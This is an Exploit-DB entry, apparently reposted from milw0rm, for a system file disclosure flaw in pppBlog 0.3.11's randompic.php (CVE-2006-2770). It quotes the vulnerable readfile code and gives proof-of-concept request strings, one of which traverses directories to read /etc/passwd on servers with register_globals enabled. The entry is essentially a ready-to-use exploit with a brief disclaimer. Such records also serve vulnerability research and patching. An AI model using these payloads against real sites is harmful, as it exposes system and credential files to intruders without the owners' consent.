pppBlog 0.3.11 - File Disclosure

Author: JosS
type: webapps
platform: php
port: 
date_added: 2008-11-02 
date_updated: 2017-01-02 
verified: 1 
codes: OSVDB-25924;CVE-2006-2770 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comppp-blog-0.3.11.zip

# pppBlog <= 0.3.11 (randompic.php) System File Disclosure Vulnerability
# url: http://sourceforge.net/projects/pppblog/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# In memory of rgod ;)

*Requeriments: register_globals = On

vulnerable code in randompic.php at lines 66-72:
...
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
if (is_array($files)){
    if (is_file($files[$randnum])){
	readfile("$dir/$files[$randnum]");
    }
}
...

poc[0] = randompic.php?files[0]=[file]
poc[1] = randompic.php?files[0]=../../../../../../../../../../etc/passwd

linked: http://milw0rm.com/exploits/1853 (pppBlog 0.3.8, thanks rgod).

tested on localhost with register_globals = On.

Hack0wn :D

# milw0rm.com [2008-11-03]